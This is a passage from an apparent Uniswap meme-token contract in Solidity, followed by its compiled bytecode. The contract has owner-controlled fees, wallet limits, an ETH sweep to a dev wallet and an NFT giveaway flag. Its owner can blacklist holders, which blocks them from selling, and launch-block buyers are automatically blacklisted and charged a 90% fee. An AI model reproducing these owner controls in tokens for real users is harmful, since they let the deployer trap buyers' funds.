function setCooldownEnabled(bool _enabled) external onlyOwner() {
cooldownEnabled = _enabled;
}
function setUseBuyMap(bool _enabled) external onlyOwner() {
useBuyMap = _enabled;
}
function setMaxTxLimit(uint256 newLimit) external onlyOwner() {
require(newLimit > 0, "max tx can not be 0");
maxTxLimit = newLimit * (10**9);
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
require(newLimit > 0, "max wallet can not be 0");
maxWalletLimit = newLimit * (10**9);
}
function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() {
swapAtAmount = amountToSwap * (10**9);
}
function setDeadBlocks(uint256 _deadblocks) external onlyOwner() {
require(_deadblocks < 3);
deadblocks = _deadblocks;
}
function updateDevWallet(address newWallet) external onlyOwner() {
dev = newWallet;
}
function updateLiqWallet(address newWallet) external onlyOwner() {
liquidity = newWallet;
}
function disableBlacklist() external onlyOwner() {
blacklistAllowed = false;
}
function addBlacklist(address account) external onlyOwner() {
require(!isBlacklisted[account], "Blacklist: Already blacklisted");
require(blacklistAllowed, "Blacklist functionality no longer active");
require(account != uniswapV2Pair, "Cannot blacklist pair");
_setBlacklist(account, true);
}
function removeBlacklist(address account) external onlyOwner() {
require(isBlacklisted[account], "Blacklist: Not blacklisted");
_setBlacklist(account, false);
}
function manualswap() external onlyOwner() {
uint256 totalTokensForFee = tokensForLiquidity + tokensForTax;
swapBack(totalTokensForFee);
}
function manualsend() external onlyOwner(){
uint256 contractETHBalance = address(this).balance;
payable(address(dev)).transfer(contractETHBalance);
}
function openTrading(uint256 _deadblocks) external onlyOwner() {
require(!isLaunched, "Contract is already launched");
deadblocks = _deadblocks;
isLaunched = true;
launchBlock = block.number;
maxTxLimit = _tTotal.mul(100).div(10000);
maxWalletLimit = _tTotal.mul(100).div(10000);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large");
require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit");
require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live");
require(!isBlacklisted[from], "Sender is blacklisted");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 totalTokensForFee = tokensForLiquidity + tokensForTax;
bool canSwap = totalTokensForFee >= swapAtAmount;
buyTxFee = defaultBuyTxFee;
if(
from != uniswapV2Pair &&
canSwap &&
!swapping
) {
swapping = true;
swapBack(totalTokensForFee);
swapping = false;
} else if(
from == uniswapV2Pair &&
to != uniswapV2Pair &&
block.number < launchBlock + deadblocks &&
!isExcludedFromFees[to]
) {
buyTxFee = 90;
_setBlacklist(to, true);
}
bool takeFee = !swapping;
if(isExcludedFromFees[from] || isExcludedFromFees[to]) {
takeFee = false;
}
if(from == uniswapV2Pair && nftGiveAwayActive) {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uint ethSpent = uniswapV2Router.getAmountsIn(amount, path)[0];
//if buyer spends 1 or more eth allow them to mint an nft for free
if(ethSpent >= minSpendForNft){
nftGiveAways[to] = true;
}
}
if(takeFee) {
uint256 fees;
// on sell
if (to == uniswapV2Pair) {
if(useBuyMap){
if (_buyMap[from] != 0 &&
(_buyMap[from] + (1 hours) >= block.timestamp)) {
sellLiquidityFee = hourSellLiquidityFee;
sellTxFee = hourSellTxFee;
_buyMap[from] = block.timestamp;
} else {
sellLiquidityFee = defaultSellLiquidityFee;
sellTxFee = defaultSellTxFee;
}
} else {
sellLiquidityFee = defaultSellLiquidityFee;
sellTxFee = defaultSellTxFee;
}
uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee);
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees));
tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees));
}
// on buy & wallet transfers
else {
if(cooldownEnabled){
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (useBuyMap && _buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee);
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees));
tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees));
}
if(fees > 0){
super._transfer(from, address(this), fees);
amount = amount.sub(fees);
}
}
super._transfer(from, to, amount);
}
function swapBack(uint256 totalTokensForFee) private {
uint256 toSwap = swapAtAmount;
// Halve the amount of liquidity tokens
uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2);
uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens);
uint256 amountToSwapForETH = toSwap.sub(liquidityTokens);
_swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH);
uint256 ethForLiquidity = ethBalance.sub(ethForTax);
tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2));
tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2)));
payable(address(dev)).transfer(ethForTax);
_addLiquidity(liquidityTokens, ethForLiquidity);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
liquidity,
block.timestamp
);
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _setBlacklist(address account, bool value) internal {
isBlacklisted[account] = value;
}
function addToGiveAwayList(address _address) external onlyOwner{
nftGiveAways[_address] = true;
}
function setMinSpendForNft(uint256 _minSpendAmt) external onlyOwner{
minSpendForNft = _minSpendAmt;
}
function getNFTGiveAwayForId(address _address) public view returns (bool) {
return nftGiveAways[_address];
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent){
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
}
receive() external payable {}
}
|
0x6080604052600436106103b15760003560e01c80638366e79a116101e7578063cd49513f1161010d578063ea43915e116100a0578063f42ffbb21161006f578063f42ffbb214610cf2578063f637434214610d25578063fb0ecfa414610d3a578063fe575a8714610d6a576103b8565b8063ea43915e14610c6b578063eb91e65114610c80578063ee3b1f6114610cb3578063f11a24d314610cdd576103b8565b8063e16830a8116100dc578063e16830a814610bf1578063e6acd7e514610c2c578063e7510e8314610c41578063e9b786cb14610c56576103b8565b8063cd49513f14610b3c578063d00efb2f14610b77578063d163364914610b8c578063dd62ed3e14610bb6576103b8565b8063a3e6746011610185578063b40f946911610154578063b40f946914610a86578063bf95793d14610ab9578063c024666814610aec578063c3c8cd8014610b27576103b8565b8063a3e67460146109f0578063a9059cbb14610a05578063af465a2714610a3e578063b222e0c214610a53576103b8565b8063904236d1116101c1578063904236d11461096757806395d89b411461097c5780639cfe42da14610991578063a1addd95146109c4576103b8565b80638366e79a14610902578063869175241461093d5780638da5cb5b14610952576103b8565b80634fbee193116102d75780636fc3eaec1161026a57806373dd858c1161023957806373dd858c14610872578063766f9bb2146108a55780637f2feddc146108ba5780638036d590146108ed576103b8565b80636fc3eaec146107eb57806370a0823114610800578063715018a614610833578063728d41c914610848576103b8565b806364f5a5bb116102a657806364f5a5bb1461076757806366a88d96146107915780636ac9a870146107a65780636d7adcad146107d6576103b8565b80634fbee193146106ae5780635932ead1146106e15780635ec6ee761461070d5780636402511e1461073d576103b8565b80631a8145bb1161034f57806330280a711161031e57806330280a711461061e578063307aebc914610659578063313ce5671461066e57806349bd5a5e14610699576103b8565b80631a8145bb1461057e57806323b872dd1461059357806324bd0793146105d65780632d3aecc914610609576103b8565b80630a37a3f31161038b5780630a37a3f3146104c75780631694505e146104f357806318160ddd146105245780631816467f1461054b576103b8565b8063049a25cb146103bd57806306fdde0314610404578063095ea7b31461048e576103b8565b366103b857005b600080fd5b3480156103c957600080fd5b506103f0600480360360208110156103e057600080fd5b50356001600160a01b0316610d9d565b604080519115158252519081900360200190f35b34801561041057600080fd5b50610419610dbb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561045357818101518382015260200161043b565b50505050905090810190601f1680156104805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049a57600080fd5b506103f0600480360360408110156104b157600080fd5b506001600160a01b038135169060200135610e51565b3480156104d357600080fd5b506104f1600480360360208110156104ea57600080fd5b5035610e6f565b005b3480156104ff57600080fd5b50610508610ed9565b604080516001600160a01b039092168252519081900360200190f35b34801561053057600080fd5b50610539610ef1565b60408051918252519081900360200190f35b34801561055757600080fd5b506104f16004803603602081101561056e57600080fd5b50356001600160a01b0316610ef7565b34801561058a57600080fd5b50610539610f71565b34801561059f57600080fd5b506103f0600480360360608110156105b657600080fd5b506001600160a01b03813581169160208101359091169060400135610f77565b3480156105e257600080fd5b506104f1600480360360208110156105f957600080fd5b50356001600160a01b0316610ffe565b34801561061557600080fd5b5061053961107a565b34801561062a57600080fd5b506104f16004803603604081101561064157600080fd5b506001600160a01b0381351690602001351515611080565b34801561066557600080fd5b506103f0611161565b34801561067a57600080fd5b5061068361116f565b6040805160ff9092168252519081900360200190f35b3480156106a557600080fd5b50610508611174565b3480156106ba57600080fd5b506103f0600480360360208110156106d157600080fd5b50356001600160a01b0316611183565b3480156106ed57600080fd5b506104f16004803603602081101561070457600080fd5b50351515611198565b34801561071957600080fd5b506104f16004803603604081101561073057600080fd5b508035906020013561120c565b34801561074957600080fd5b506104f16004803603602081101561076057600080fd5b50356112b8565b34801561077357600080fd5b506104f16004803603602081101561078a57600080fd5b503561131b565b34801561079d57600080fd5b506105396113c9565b3480156107b257600080fd5b506104f1600480360360408110156107c957600080fd5b50803590602001356113cf565b3480156107e257600080fd5b50610539611485565b3480156107f757600080fd5b506104f161148b565b34801561080c57600080fd5b506105396004803603602081101561082357600080fd5b50356001600160a01b0316611521565b34801561083f57600080fd5b506104f161153c565b34801561085457600080fd5b506104f16004803603602081101561086b57600080fd5b50356115de565b34801561087e57600080fd5b506104f16004803603602081101561089557600080fd5b50356001600160a01b0316611696565b3480156108b157600080fd5b50610539611710565b3480156108c657600080fd5b50610539600480360360208110156108dd57600080fd5b50356001600160a01b0316611716565b3480156108f957600080fd5b50610539611728565b34801561090e57600080fd5b506103f06004803603604081101561092557600080fd5b506001600160a01b038135811691602001351661172e565b34801561094957600080fd5b506105396118eb565b34801561095e57600080fd5b506105086118f1565b34801561097357600080fd5b50610539611900565b34801561098857600080fd5b50610419611906565b34801561099d57600080fd5b506104f1600480360360208110156109b457600080fd5b50356001600160a01b0316611967565b3480156109d057600080fd5b506104f1600480360360208110156109e757600080fd5b50351515611adf565b3480156109fc57600080fd5b50610539611b55565b348015610a1157600080fd5b506103f060048036036040811015610a2857600080fd5b506001600160a01b038135169060200135611b5b565b348015610a4a57600080fd5b50610539611b6f565b348015610a5f57600080fd5b5061053960048036036020811015610a7657600080fd5b50356001600160a01b0316611b75565b348015610a9257600080fd5b506103f060048036036020811015610aa957600080fd5b50356001600160a01b0316611b87565b348015610ac557600080fd5b506103f060048036036020811015610adc57600080fd5b50356001600160a01b0316611b9c565b348015610af857600080fd5b506104f160048036036040811015610b0f57600080fd5b506001600160a01b0381351690602001351515611bb1565b348015610b3357600080fd5b506104f1611ca8565b348015610b4857600080fd5b506104f160048036036040811015610b5f57600080fd5b506001600160a01b0381351690602001351515611d10565b348015610b8357600080fd5b50610539611d86565b348015610b9857600080fd5b506104f160048036036020811015610baf57600080fd5b5035611d8c565b348015610bc257600080fd5b5061053960048036036040811015610bd957600080fd5b506001600160a01b0381358116916020013516611e94565b348015610bfd57600080fd5b506104f160048036036040811015610c1457600080fd5b506001600160a01b0381351690602001351515611ebf565b348015610c3857600080fd5b50610539611fa0565b348015610c4d57600080fd5b50610539611fa6565b348015610c6257600080fd5b50610539611fac565b348015610c7757600080fd5b506104f1611fb2565b348015610c8c57600080fd5b506104f160048036036020811015610ca357600080fd5b50356001600160a01b031661201b565b348015610cbf57600080fd5b506104f160048036036020811015610cd657600080fd5b50356120ea565b348015610ce957600080fd5b50610539612147565b348015610cfe57600080fd5b506103f060048036036020811015610d1557600080fd5b50356001600160a01b031661214d565b348015610d3157600080fd5b50610539612162565b348015610d4657600080fd5b506104f160048036036040811015610d5d57600080fd5b5080359060200135612168565b348015610d7657600080fd5b506103f060048036036020811015610d8d57600080fd5b50356001600160a01b0316612219565b6001600160a01b031660009081526023602052604090205460ff1690565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e475780601f10610e1c57610100808354040283529160200191610e47565b820191906000526020600020905b815481529060010190602001808311610e2a57829003601f168201915b5050505050905090565b6000610e65610e5e612329565b848461232d565b5060015b92915050565b610e77612329565b6005546001600160a01b03908116911614610ec7576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b60038110610ed457600080fd5b601b55565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60025490565b610eff612329565b6005546001600160a01b03908116911614610f4f576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601680546001600160a01b0319166001600160a01b0392909216919091179055565b60105481565b6000610f84848484612419565b610ff484610f90612329565b610fef856040518060600160405280602881526020016134c9602891396001600160a01b038a16600090815260016020526040812090610fce612329565b6001600160a01b031681526020810191909152604001600020549190612d5c565b61232d565b5060019392505050565b611006612329565b6005546001600160a01b03908116911614611056576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152602360205260409020805460ff19166001179055565b600d5481565b611088612329565b6005546001600160a01b039081169116146110d8576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601e602052604090205460ff16151581151514156111365760405162461bcd60e51b81526004018080602001828103825260228152602001806134866022913960400191505060405180910390fd5b6001600160a01b03919091166000908152601e60205260409020805460ff1916911515919091179055565b601a54610100900460ff1681565b600990565b6018546001600160a01b031681565b601d6020526000908152604090205460ff1681565b6111a0612329565b6005546001600160a01b039081169116146111f0576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601a8054911515620100000262ff000019909216919091179055565b611214612329565b6005546001600160a01b03908116911614611264576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601861127083836122cf565b11156112ad5760405162461bcd60e51b81526004018080602001828103825260298152602001806135a16029913960400191505060405180910390fd5b600e91909155600f55565b6112c0612329565b6005546001600160a01b03908116911614611310576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b633b9aca0002601355565b611323612329565b6005546001600160a01b03908116911614611373576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b600081116113be576040805162461bcd60e51b815260206004820152601360248201527206d61782074782063616e206e6f74206265203606c1b604482015290519081900360640190fd5b633b9aca0002601455565b60155481565b6113d7612329565b6005546001600160a01b03908116911614611427576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b600c61143383836122cf565b11156114705760405162461bcd60e51b81526004018080602001828103825260298152602001806134386029913960400191505060405180910390fd5b6008829055600b819055600c91909155600d55565b60115481565b611493612329565b6005546001600160a01b039081169116146114e3576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b60165460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561151d573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526020819052604090205490565b611544612329565b6005546001600160a01b03908116911614611594576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6115e6612329565b6005546001600160a01b03908116911614611636576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6000811161168b576040805162461bcd60e51b815260206004820152601760248201527f6d61782077616c6c65742063616e206e6f742062652030000000000000000000604482015290519081900360640190fd5b633b9aca0002601555565b61169e612329565b6005546001600160a01b039081169116146116ee576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601780546001600160a01b0319166001600160a01b0392909216919091179055565b600f5481565b60216020526000908152604090205481565b60145481565b6000611738612329565b6005546001600160a01b03908116911614611788576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b0383163014156117e6576040805162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e7300000000604482015290519081900360640190fd5b6000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561183557600080fd5b505afa158015611849573d6000803e3d6000fd5b505050506040513d602081101561185f57600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0386811660048301526024820184905291519293509086169163a9059cbb916044808201926020929091908290030181600087803b1580156118b757600080fd5b505af11580156118cb573d6000803e3d6000fd5b505050506040513d60208110156118e157600080fd5b5051949350505050565b60135481565b6005546001600160a01b031690565b600b5481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e475780601f10610e1c57610100808354040283529160200191610e47565b61196f612329565b6005546001600160a01b039081169116146119bf576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b038116600090815260208052604090205460ff1615611a2c576040805162461bcd60e51b815260206004820152601e60248201527f426c61636b6c6973743a20416c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b601a5465010000000000900460ff16611a765760405162461bcd60e51b81526004018080602001828103825260288152602001806133ea6028913960400191505060405180910390fd5b6018546001600160a01b0382811691161415611ad1576040805162461bcd60e51b815260206004820152601560248201527421b0b73737ba10313630b1b5b634b9ba103830b4b960591b604482015290519081900360640190fd5b611adc816001612df3565b50565b611ae7612329565b6005546001600160a01b03908116911614611b37576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601a805491151563010000000263ff00000019909216919091179055565b600e5481565b6000610e65611b68612329565b8484612419565b60125481565b60226020526000908152604090205481565b601f6020526000908152604090205460ff1681565b601e6020526000908152604090205460ff1681565b611bb9612329565b6005546001600160a01b03908116911614611c09576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601d602052604090205460ff1615158115151415611c7d576040805162461bcd60e51b815260206004820152601f60248201527f466565733a20416c72656164792073657420746f20746869732076616c756500604482015290519081900360640190fd5b6001600160a01b03919091166000908152601d60205260409020805460ff1916911515919091179055565b611cb0612329565b6005546001600160a01b03908116911614611d00576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b60115460105401611adc81612e1d565b611d18612329565b6005546001600160a01b03908116911614611d68576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b611d728282611bb1565b611d7c8282611080565b61151d8282611ebf565b60195481565b611d94612329565b6005546001600160a01b03908116911614611de4576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601a54610100900460ff1615611e41576040805162461bcd60e51b815260206004820152601c60248201527f436f6e747261637420697320616c7265616479206c61756e6368656400000000604482015290519081900360640190fd5b601b819055601a805461ff00191661010017905543601955601254611e759061271090611e6f90606461222d565b9061228d565b601455601254611e8e9061271090611e6f90606461222d565b60155550565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611ec7612329565b6005546001600160a01b03908116911614611f17576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b0382166000908152601f602052604090205460ff1615158115151415611f755760405162461bcd60e51b815260040180806020018281038252602681526020018061357b6026913960400191505060405180910390fd5b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b600c5481565b601c5481565b60095481565b611fba612329565b6005546001600160a01b0390811691161461200a576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601a805465ff000000000019169055565b612023612329565b6005546001600160a01b03908116911614612073576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b6001600160a01b038116600090815260208052604090205460ff166120df576040805162461bcd60e51b815260206004820152601a60248201527f426c61636b6c6973743a204e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b611adc816000612df3565b6120f2612329565b6005546001600160a01b03908116911614612142576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b601c55565b60075481565b60236020526000908152604090205460ff1681565b60085481565b612170612329565b6005546001600160a01b039081169116146121c0576040805162461bcd60e51b815260206004820181905260248201526000805160206134f1833981519152604482015290519081900360640190fd5b600c6121cc83836122cf565b11156122095760405162461bcd60e51b81526004018080602001828103825260258152602001806134616025913960400191505060405180910390fd5b600791909155600a819055600955565b602080526000908152604090205460ff1681565b60008261223c57506000610e69565b8282028284828161224957fe5b04146122865760405162461bcd60e51b81526004018080602001828103825260218152602001806134a86021913960400191505060405180910390fd5b9392505050565b600061228683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f23565b600082820183811015612286576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166123725760405162461bcd60e51b81526004018080602001828103825260248152602001806135576024913960400191505060405180910390fd5b6001600160a01b0382166123b75760405162461bcd60e51b81526004018080602001828103825260228152602001806133c86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316612474576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b0382166124cf576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b601454811115806124f857506001600160a01b0383166000908152601e602052604090205460ff165b8061251b57506001600160a01b0382166000908152601e602052604090205460ff165b612562576040805162461bcd60e51b8152602060048201526013602482015272547820416d6f756e7420746f6f206c6172676560681b604482015290519081900360640190fd5b6015546125788261257285611521565b906122cf565b11158061259d57506001600160a01b0382166000908152601f602052604090205460ff165b6125d85760405162461bcd60e51b81526004018080602001828103825260218152602001806135116021913960400191505060405180910390fd5b601a54610100900460ff168061260657506001600160a01b0383166000908152601d602052604090205460ff165b8061262957506001600160a01b0382166000908152601d602052604090205460ff165b61266f576040805162461bcd60e51b815260206004820152601260248201527157616974696e6720746f20676f206c69766560701b604482015290519081900360640190fd5b6001600160a01b038316600090815260208052604090205460ff16156126d4576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b806126ea576126e583836000612f88565b612d57565b601154601054601354600a546009556018549190920191821015906001600160a01b0386811691161480159061271d5750805b801561272c5750601a5460ff16155b1561275657601a805460ff1916600117905561274782612e1d565b601a805460ff191690556127cc565b6018546001600160a01b03868116911614801561278157506018546001600160a01b03858116911614155b80156127925750601b546019540143105b80156127b757506001600160a01b0384166000908152601d602052604090205460ff16155b156127cc57605a6009556127cc846001612df3565b601a546001600160a01b0386166000908152601d602052604090205460ff9182161591168061281357506001600160a01b0385166000908152601d602052604090205460ff165b1561281c575060005b6018546001600160a01b0387811691161480156128435750601a54640100000000900460ff165b15612ad8576040805160028082526060808301845292602083019080368337019050509050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156128b557600080fd5b505afa1580156128c9573d6000803e3d6000fd5b505050506040513d60208110156128df57600080fd5b5051815182906000906128ee57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061291c57fe5b6001600160a01b03909216602092830291909101820152604080516307c0329d60e21b81526004810188815260248201928352845160448301528451600094737a250d5630b4cf539739df2c5dacb4c659f2488d94631f00ca74948c948994909360649092019185810191028083838c5b838110156129a557818101518382015260200161298d565b50505050905001935050505060006040518083038186803b1580156129c957600080fd5b505afa1580156129dd573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015612a0657600080fd5b8101908080516040519392919084640100000000821115612a2657600080fd5b908301906020820185811115612a3b57600080fd5b8251866020820283011164010000000082111715612a5857600080fd5b82525081516020918201928201910280838360005b83811015612a85578181015183820152602001612a6d565b50505050905001604052505050600081518110612a9e57fe5b60200260200101519050601c548110612ad5576001600160a01b0387166000908152602360205260409020805460ff191660011790555b50505b8015612d48576018546000906001600160a01b0387811691161415612c1c57601a546301000000900460ff1615612b91576001600160a01b03871660009081526021602052604090205415801590612b4e57506001600160a01b03871660009081526021602052604090205442610e1090910110155b15612b7f57600e54600855600f54600b556001600160a01b0387166000908152602160205260409020429055612b8c565b600c54600855600d54600b555b612b9e565b600c54600855600d54600b555b6000612bb7600b546008546122cf90919063ffffffff16565b9050612bc86064611e6f888461222d565b9150612bef612be682611e6f6008548661222d90919063ffffffff16565b601054906122cf565b601055600b54612c1390612c0a908390611e6f90869061222d565b601154906122cf565b60115550612d28565b601a5462010000900460ff1615612c70576001600160a01b0386166000908152602260205260409020544211612c5157600080fd5b6001600160a01b0386166000908152602260205260409020601e420190555b601a546301000000900460ff168015612c9f57506001600160a01b038616600090815260216020526040902054155b15612cc0576001600160a01b03861660009081526021602052604090204290555b6000612cd96009546007546122cf90919063ffffffff16565b9050612cea6064611e6f888461222d565b9150612d08612be682611e6f6007548661222d90919063ffffffff16565b601055600954612d2390612c0a908390611e6f90869061222d565b601155505b8015612d4657612d39873083612f88565b612d4385826130e3565b94505b505b612d53868686612f88565b5050505b505050565b60008184841115612deb5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612db0578181015183820152602001612d98565b50505050905090810190601f168015612ddd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b600060135490506000612e446002611e6f85611e6f6010548761222d90919063ffffffff16565b90506000612e5c82612e5685826130e3565b906130e3565b90506000612e6a84846130e3565b9050612e7581613125565b476000612e8683611e6f848761222d565b90506000612e9483836130e3565b9050612ead612ea487600261222d565b601054906130e3565b601055612ed1612ec8612ec188600261222d565b89906130e3565b601154906130e3565b6011556016546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612f0e573d6000803e3d6000fd5b50612f1986826132f1565b5050505050505050565b60008183612f725760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612db0578181015183820152602001612d98565b506000838581612f7e57fe5b0495945050505050565b6001600160a01b038316612fcd5760405162461bcd60e51b81526004018080602001828103825260258152602001806135326025913960400191505060405180910390fd5b6001600160a01b0382166130125760405162461bcd60e51b81526004018080602001828103825260238152602001806133a56023913960400191505060405180910390fd5b61301d838383612d57565b61305a81604051806060016040528060268152602001613412602691396001600160a01b0386166000908152602081905260409020549190612d5c565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461308990826122cf565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600061228683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d5c565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061315357fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156131c057600080fd5b505afa1580156131d4573d6000803e3d6000fd5b505050506040513d60208110156131ea57600080fd5b50518151829060019081106131fb57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156132b457818101518382015260200161329c565b505050509050019650505050505050600060405180830381600087803b1580156132dd57600080fd5b505af1158015612d53573d6000803e3d6000fd5b6017546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0390921660848301524260a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991849160c48082019260609290919082900301818588803b15801561337357600080fd5b505af1158015613387573d6000803e3d6000fd5b50505050506040513d606081101561339e57600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373426c61636b6c6973742066756e6374696f6e616c697479206e6f206c6f6e6765722061637469766545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f74616c2064656661756c74206665652063616e206e6f74206265206d6f7265207468616e203132546f74616c20627579206665652063616e206e6f74206265206d6f7265207468616e20313254784c696d69743a20416c72656164792073657420746f20746869732076616c756553